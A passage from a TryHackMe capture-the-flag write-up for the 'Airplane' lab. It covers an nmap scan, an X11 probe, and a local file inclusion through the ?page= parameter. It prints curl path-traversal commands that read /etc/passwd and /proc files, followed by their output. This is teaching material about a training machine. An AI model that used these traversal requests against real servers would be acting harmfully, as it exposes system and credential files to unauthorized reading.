💻
TryHackMe Writeups
  • Dodge
  • Reset
  • Hack Smarter Security
  • Creative
  • CyberLens
  • Include
  • Airplane
  • mKingdom
  • Publisher
  • The London Bridge
  • Pyrat
  • Cheese CTF
Powered by GitBook
On this page

Airplane

Are you ready to fly?

PreviousIncludeNextmKingdom

Last updated 11 months ago

This work by Manav G Krishna is licensed under

Machine IP: 10.10.116.253

Nmap Scan:

nmap -p- -A -v --min-rate 100 -oN airplane_thm -Pn 10.10.116.253

Nmap scan report for 10.10.116.253
Host is up (0.20s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
|   256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
|_  256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)
6048/tcp open  x11?
8000/tcp open  http-alt Werkzeug/3.0.2 Python/3.8.10
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
|_http-title: Did not follow redirect to http://airplane.thm:8000/?page=index.html
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Fri, 07 Jun 2024 18:35:44 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/3.0.2 Python/3.8.10
|     Date: Fri, 07 Jun 2024 18:35:39 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 269
|     Location: http://airplane.thm:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=6/8%Time=666352F6%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,1F3,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/3\.0\.
SF:2\x20Python/3\.8\.10\r\nDate:\x20Fri,\x2007\x20Jun\x202024\x2018:35:39\
SF:x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Lengt
SF:h:\x20269\r\nLocation:\x20http://airplane\.thm:8000/\?page=index\.html\
SF:r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<
SF:title>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20
SF:should\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20U
SF:RL:\x20<a\x20href=\"http://airplane\.thm:8000/\?page=index\.html\">http
SF:://airplane\.thm:8000/\?page=index\.html</a>\.\x20If\x20not,\x20click\x
SF:20the\x20link\.\n")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x2
SF:0FOUND\r\nServer:\x20Werkzeug/3\.0\.2\x20Python/3\.8\.10\r\nDate:\x20Fr
SF:i,\x2007\x20Jun\x202024\x2018:35:44\x20GMT\r\nContent-Type:\x20text/htm
SF:l;\x20charset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r
SF:\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found
SF:</title>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20n
SF:ot\x20found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20
SF:URL\x20manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x2
SF:0again\.</p>\n")%r(Socks5,213,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C/
SF:/DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://w
SF:ww\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20c
SF:ontent=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<t
SF:itle>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x
SF:20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('\\x
SF:05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'\)\.</p>\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_
SF:REQUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method
SF:\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/8%OT=22%CT=1%CU=32666%PV=Y%DS=2%DC=T%G=Y%TM=66635
OS:3B0%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)S
OS:EQ(SP=102%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=102%GCD=5%ISR=109%TI=
OS:Z%CI=Z%II=I%TS=A)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M5
OS:08ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3
OS:%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF
OS:=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
OS:IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 17.468 days (since Tue May 21 12:54:49 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   160.98 ms 10.11.0.1
2   161.10 ms 10.10.116.253

From the scan, we can see ports 22, 6048, and 8000 open and also there is a domain named airplane.thm which can be seen in the http-title part.

Hosts file entry: echo '10.10.116.253 airplane.thm' | sudo tee -a /etc/hosts

Checking out port 6048:

The Nmap Scan says that the service running on this port might be x11. It is not certain as it gives a question mark (x11?). Let us now check out resources to pentest this service anyways.

Ports 6000-6063 is where we typically find the x11 service:

SpeedGuide also mentions: Known Unauthorized Use on port 6003.

Pentesting X11:

HackTricks mentions that we could check if we can connect anonymously to the x11 port. From the information that we got from SpeedGuide, only port 6003 has been identified as being susceptible to unauthorized access, but in our case x11 might be running on port 6048, but we can still try to check for anonymous connection via the scanner auxiliary module present in Metasploit to see what we get.

This shows we can't connect anonymously to the port 6048. This is pretty much a dead end now. HackTricks didn't have anything else that was worth testing out for x11.

Now we can look at port 8000.

Checking out port 8000:

From the Nmap Scan we can see that server running on this port is a Python web server utilizing Werkzeug.

We can do some directory busting:

Command:

dirsearch -u http://airplane.thm:8000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100

There is a path named /airplane. Checking it out:

Nothing interesting here.

Upon browsing http://airplane.thm:8000 we are redirected to http://airplane.thm:8000/?page=index.html.

There is a parameter in the URL named page (?page=) and the first thing that comes to mind is LFI (Local File Inclusion).

We can now try to traverse/climb the directory tree to fetch files such as /etc/passwd etc. and doing it via the terminal would be a lot more easier:

Command:

curl --output - http://airplane.thm:8000/\?page\=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
fwupd-refresh:x:122:127:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
geoclue:x:123:128::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

We indeed have successful LFI.

From the /etc/passwd file contents we have two users other than root having a console, that is hudson and carlos. Trying to fetch the ssh private key (id_rsa) of these users, the user.txt flag etc. didn't yield any results.

Now let us try to fetch some files from the /proc file system (It provides detailed information about kernel, processes, and configuration parameters in a structured manner under the /proc directory):

  1. /proc/self/cmdline: It is a file that contains the command line arguments that were used to start the current process.

Command:

curl --output - http://airplane.thm:8000/\?page\=../../../../proc/self/cmdline

It outputs: /usr/bin/python3app.py. This shows that, the current process that is running is app.py.

We can now try to fetch the app.py file:

Command:

curl --output - http://airplane.thm:8000/\?page\=../app.py

There is nothing of interest in here.

  1. /proc/sched_debug: It is a file that can be used to retrieve running processes. It provides information about the state of the Linux scheduler.

Command:

curl --output - http://airplane.thm:8000/\?page\=../../../../proc/sched_debug
Sched Debug Version: v0.11, 5.4.0-139-generic #156-Ubuntu
ktime                                   : 643026.363157
sched_clk                               : 643036.796476
cpu_clk                                 : 643029.398816
jiffies                                 : 4295053041Wewe
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 1.500000
  .sysctl_sched_wakeup_granularity         : 2.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 2042683
  .sysctl_sched_tunable_scaling            : 1 (logarithmic)

cpu#0, 2499.998 MHz
  .nr_running                    : 1
  .nr_switches                   : 145394
  .nr_load_updates               : 0
  .nr_uninterruptible            : -15
  .next_balance                  : 4295.053041
  .curr->pid                     : 1191
  .clock                         : 643028.641740
  .clock_task                    : 643028.641740
  .avg_idle                      : 893338
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/autogroup-103
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 4.659338
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -15767.298259
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 642576.238699
  .se->vruntime                  : 15766.000671
  .se->sum_exec_runtime          : 2.423764
  .se->load.weight               : 2
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[0]:/autogroup-75
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 118.480460
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -15653.477137
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .runnable_weight               : 1048576
  .load_avg                      : 1024
  .runnable_load_avg             : 1024
  .util_avg                      : 512
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 1024
  .tg_load_avg                   : 1024
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 643028.641740
  .se->vruntime                  : 15766.092635
  .se->sum_exec_runtime          : 117.283029
  .se->load.weight               : 1048576
  .se->runnable_weight           : 1048576
  .se->avg.load_avg              : 1020
  .se->avg.util_avg              : 512
  .se->avg.runnable_load_avg     : 1020

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 15771.957597
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .runnable_weight               : 1048576
  .load_avg                      : 1020
  .runnable_load_avg             : 1020
  .util_avg                      : 512
  .util_est_enqueued             : 513
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 I         rcu_gp     3         7.951420         2   100         0.000000         0.000000         0.000000 0 0 /
 I     rcu_par_gp     4         9.951419         2   100         0.000000         0.000000         0.000000 0 0 /
 I   kworker/0:0H     6       576.469184         4   100         0.000000         0.032862         0.000000 0 0 /
 I   kworker/u4:0     7     13329.010579       455   120         0.000000        16.805936         0.000000 0 0 /
 I   mm_percpu_wq     8        16.019073         2   100         0.000000         0.000000         0.000000 0 0 /
 S    ksoftirqd/0     9     15656.083264       845   120         0.000000       198.588077         0.000000 0 0 /
 S    migration/0    11        22.019070       248     0         0.000000         3.600801         0.000000 0 0 /
 S  idle_inject/0    12         0.000000         3    49         0.000000         0.000000         0.000000 0 0 /
 I    kworker/0:1    13     10173.535527      1044   120         0.000000        42.520695         0.000000 0 0 /
 S        cpuhp/0    14       775.339778        11   120         0.000000         0.282868         0.000000 0 0 /
 S     oom_reaper    27        49.019055         2   120         0.000000         0.000000         0.000000 0 0 /
 I      writeback    28        49.019055         2   100         0.000000         0.000000         0.000000 0 0 /
 S           ksmd    30        51.019053         2   125         0.000000         0.000000         0.000000 0 0 /
 I    kintegrityd    77        57.914847         2   100         0.000000         0.000000         0.000000 0 0 /
 I blkcg_punt_bio    79        57.914847         2   100         0.000000         0.000000         0.000000 0 0 /
 I        ata_sff    81        58.058834         2   100         0.000000         0.000000         0.000000 0 0 /
 I    edac-poller    83        58.064044         2   100         0.000000         0.000000         0.000000 0 0 /
 S      watchdogd    85         5.999997         2     0         0.000000         0.000000         0.000000 0 0 /
 Iacpi_thermal_pm    92        81.546320         2   100         0.000000         0.023792         0.000000 0 0 /
 Ivfio-irqfd-clea    93        87.560759         2   100         0.000000         0.016218         0.000000 0 0 /
 I          kstrp   103       144.308544         2   100         0.000000         0.014149         0.000000 0 0 /
 Icharger_manager   120       231.333397         2   100         0.000000         0.013072         0.000000 0 0 /
 I   kworker/u4:2   159     15765.985416       314   120         0.000000        10.876708         0.000000 0 0 /
 Iext4-rsv-conver   182       520.732899         2   100         0.000000         0.013890         0.000000 0 0 /
 I   kworker/0:1H   195     15745.578681       241   100         0.000000         2.020911         0.000000 0 0 /
 I    kworker/0:3   251     15766.674391      2325   120         0.000000        54.519100         0.000000 0 0 /
 S  systemd-udevd   262       926.247795      2705   120         0.000000      1656.840932         0.000000 0 0 /autogroup-22
 S          loop0   263      2048.701580         7   100         0.000000         0.081773         0.000000 0 0 /
 S          loop2   266      5234.758513        77   100         0.000000         1.051606         0.000000 0 0 /
 S          loop3   267      9515.960645       160   100         0.000000         9.817005         0.000000 0 0 /
 S          loop5   269      5234.758504        95   100         0.000000         1.580124         0.000000 0 0 /
 Ssystemd-timesyn   299        98.458179        92   120         0.000000       105.387526         0.000000 0 0 /autogroup-30
 S     sd-resolve   305        96.548621        14   120         0.000000         2.602234         0.000000 0 0 /autogroup-30
 Ssystemd-resolve   303        18.153143       158   120         0.000000       120.435021         0.000000 0 0 /autogroup-32
 I         cryptd   332      2135.784467         2   100         0.000000         0.008300         0.000000 0 0 /
 Saccounts-daemon   365        24.110079       150   120         0.000000        20.448992         0.000000 0 0 /autogroup-35
 S          gmain   429        31.329159       755   120         0.000000        24.976210         0.000000 0 0 /autogroup-35
 S           cron   372         3.278111        23   120         0.000000         5.197933         0.000000 0 0 /autogroup-40
 S    dbus-daemon   375       379.576173      6230   120         0.000000       834.752015         0.000000 0 0 /autogroup-42
 S          gmain   523        30.900772       159   120         0.000000        10.431751         0.000000 0 0 /autogroup-43
 S          gdbus   524        29.116567       382   120         0.000000        15.058144         0.000000 0 0 /autogroup-43
 S        polkitd   386        49.614823       875   120         0.000000       100.095068         0.000000 0 0 /autogroup-52
 S          gdbus   483        47.320322       771   120         0.000000        41.827413         0.000000 0 0 /autogroup-52
 S    in:imuxsock   457        18.486386       627   120         0.000000        22.737789         0.000000 0 0 /autogroup-50
 S      in:imklog   458         9.602643         6   120         0.000000         1.505662         0.000000 0 0 /autogroup-50
 S  rs:main Q:Reg   459        18.495937       625   120         0.000000        18.856878         0.000000 0 0 /autogroup-50
 S          snapd   469      3990.714680     38856   120         0.000000       469.086145         0.000000 0 0 /autogroup-55
 S          snapd   487      3996.608242      8362   120         0.000000      2499.630735         0.000000 0 0 /autogroup-55
 S          snapd   576      3652.070784       239   120         0.000000        46.222254         0.000000 0 0 /autogroup-55
 S          snapd   577      3995.582998      7363   120         0.000000      2153.509279         0.000000 0 0 /autogroup-55
 S          snapd  1006       504.738523         1   120         0.000000         0.084869         0.000000 0 0 /autogroup-55
 S        udisksd   396        41.598891       184   120         0.000000        48.330841         0.000000 0 0 /autogroup-56
 S          gmain   462         8.175916         4   120         0.000000         0.057962         0.000000 0 0 /autogroup-56
 S        cleanup   551        43.422422         7   120         0.000000         0.383982         0.000000 0 0 /autogroup-56
 S wpa_supplicant   399         6.871813       105   120         0.000000        10.243871         0.000000 0 0 /autogroup-58
 S   avahi-daemon   433         4.484454         3   120         0.000000         0.150552         0.000000 0 0 /autogroup-38
 S   ModemManager   518        21.042328       175   120         0.000000        56.427785         0.000000 0 0 /autogroup-70
 S          gmain   540        11.660073         2   120         0.000000         0.054628         0.000000 0 0 /autogroup-70
 S          gdbus   562        21.893807        55   120         0.000000         5.296438         0.000000 0 0 /autogroup-70
 S      gdbserver   529         4.507783        28   120         0.000000         6.645510         0.000000 0 0 /autogroup-74
>R        python3  1191       118.480460         1   120         0.000000         0.135038         0.000000 0 0 /autogroup-75
 Samazon-ssm-agen   600        47.293914       757   120         0.000000        10.483550         0.000000 0 0 /autogroup-81
 Samazon-ssm-agen   622        53.251912       481   120         0.000000        39.873305         0.000000 0 0 /autogroup-81
 S       whoopsie   557        12.093363        48   120         0.000000        14.585748         0.000000 0 0 /autogroup-84
 S          gdbus   573        13.844009        32   120         0.000000         3.465150         0.000000 0 0 /autogroup-84
 S           gdm3   644        68.782791       114   120         0.000000        23.860067         0.000000 0 0 /autogroup-95
 S          gdbus   657        68.887483       192   120         0.000000         9.339251         0.000000 0 0 /autogroup-95
 S   rtkit-daemon   680         4.659338       140   120         0.000000         4.085816         0.000000 0 0 /autogroup-103
 S          gdbus   714        54.991941       101   120         0.000000         4.974203         0.000000 0 0 /autogroup-95
 S         agetty   721        -2.984186        10   120         0.000000         4.314288         0.000000 0 0 /autogroup-107
 S  gdm-x-session   727       128.878531        32   120         0.000000         8.796583         0.000000 0 0 /autogroup-105
 S          gmain   730       127.187166         5   120         0.000000         0.121225         0.000000 0 0 /autogroup-105
 S          gdbus   738       127.014022        18   120         0.000000         1.231093         0.000000 0 0 /autogroup-105
 S           Xorg   731      2382.425366      3045   120         0.000000       530.953060         0.000000 0 0 /autogroup-105
 Sdbus-run-sessio   740       136.445403         3   120         0.000000         1.505559         0.000000 0 0 /autogroup-105
 S          gmain   763      1171.332031         3   120         0.000000         0.236895         0.000000 0 0 /autogroup-105
 S   dconf worker   767       374.877242        18   120         0.000000         0.963325         0.000000 0 0 /autogroup-105
 S    dbus-daemon   750      1667.093292       115   120         0.000000        10.709076         0.000000 0 0 /autogroup-105
 S          gmain   785      2382.579937       163   120         0.000000        10.590783         0.000000 0 0 /autogroup-105
 S   dconf worker   788       945.627200        93   120         0.000000         3.917499         0.000000 0 0 /autogroup-105
 S     llvmpipe-0   790      2384.422537       614   120         0.000000       678.281802         0.000000 0 0 /autogroup-105
 S      JS Helper   795      2380.681540       147   120         0.000000        23.264097         0.000000 0 0 /autogroup-105
 S      JS Helper   796      2380.808932       144   120         0.000000        64.400907         0.000000 0 0 /autogroup-105
 S    ibus-daemon   811      1134.738527        75   120         0.000000        18.346020         0.000000 0 0 /autogroup-105
 S          gdbus   815      1134.883646        54   120         0.000000         5.684664         0.000000 0 0 /autogroup-105
 S     ibus-dconf   814       852.512278        16   120         0.000000        12.829576         0.000000 0 0 /autogroup-105
 S          gdbus   822       858.078513        12   120         0.000000         0.533468         0.000000 0 0 /autogroup-105
 S   dconf worker   823       858.740608         9   120         0.000000         0.371751         0.000000 0 0 /autogroup-105
 S          gmain   824       864.855220         2   120         0.000000         0.067120         0.000000 0 0 /autogroup-105
 S    ibus-portal   821      1115.854232        64   120         0.000000         7.063153         0.000000 0 0 /autogroup-105
 S          gdbus   831      1115.943688        67   120         0.000000         6.369954         0.000000 0 0 /autogroup-105
 Sat-spi2-registr   827      2341.918442       105   120         0.000000        10.427788         0.000000 0 0 /autogroup-105
 S          gmain   835       905.419600         2   120         0.000000         0.027222         0.000000 0 0 /autogroup-105
 S        upowerd   840        27.640840        85   120         0.000000        53.843959         0.000000 0 0 /autogroup-109
 S          gmain   847        20.399457         4   120         0.000000         0.051108         0.000000 0 0 /autogroup-109
 S          gdbus   848        27.257413        51   120         0.000000         4.424208         0.000000 0 0 /autogroup-109
 S            gjs   859      1613.882310        38   120         0.000000        61.601311         0.000000 0 0 /autogroup-105
 S    gsd-sharing   868      1150.038231        61   120         0.000000        13.210878         0.000000 0 0 /autogroup-105
 S   dconf worker   908      1611.470649        12   120         0.000000         0.384460         0.000000 0 0 /autogroup-105
 S          gdbus   912      1150.112028        60   120         0.000000         5.190680         0.000000 0 0 /autogroup-105
 S          gmain   944      1226.627349         2   120         0.000000         0.046870         0.000000 0 0 /autogroup-105
 S   dconf worker   945      1611.456645        14   120         0.000000         0.381226         0.000000 0 0 /autogroup-105
 S   dconf worker   929      1611.451191        25   120         0.000000         0.739001         0.000000 0 0 /autogroup-105
 S          gmain   900      1072.678199         1   120         0.000000         0.039722         0.000000 0 0 /autogroup-105
 S     gsd-rfkill   874      1150.036648        76   120         0.000000         9.602307         0.000000 0 0 /autogroup-105
 S          gmain   894      1072.340516         1   120         0.000000         0.047320         0.000000 0 0 /autogroup-105
 S          gdbus   895      1150.106270        94   120         0.000000         5.513711         0.000000 0 0 /autogroup-105
